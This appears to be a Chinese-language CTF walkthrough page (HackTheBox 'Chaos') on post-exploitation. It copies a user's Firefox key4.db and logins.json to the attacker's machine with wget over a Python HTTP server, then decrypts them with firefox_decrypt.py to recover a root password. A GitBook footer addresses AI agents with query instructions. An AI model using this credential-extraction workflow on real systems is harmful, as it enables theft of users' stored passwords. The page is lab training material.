> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/extracting-credentials-from-firefox-profile.md).

# 提取 Firefox 配置文件凭据

## **Firefox 凭据提取**

在 Ayush 的 `.mozilla` 文件夹中，我们找到 `key4.db` 和 `logins.json`.

<figure><img src="/files/9bf6f4ccec1d91a718187b23f7a7c692d106b9e1" alt=""><figcaption></figcaption></figure>

我们将它们传输到我们的机器：

<figure><img src="/files/0cbc0fa496c260905553ba10634b9014811706e8" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/35a328e13368d7682662d10ce4e9f581b75c0bce" alt=""><figcaption></figcaption></figure>

使用以下工具解密凭据： `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

我们输入 `jiujitsu` 作为主密码并恢复：

<figure><img src="/files/1fa7f7495fe2d32c7f017ca4e4bc197e46451a10" alt=""><figcaption></figcaption></figure>

> chaos.htb:8080/bzo7sjt1.default 配置文件的主密码
>
> 网站：<https://chaos.htb:10000>
>
> 用户名：'root' 密码：'Thiv8wrej/\~


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/extracting-credentials-from-firefox-profile.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
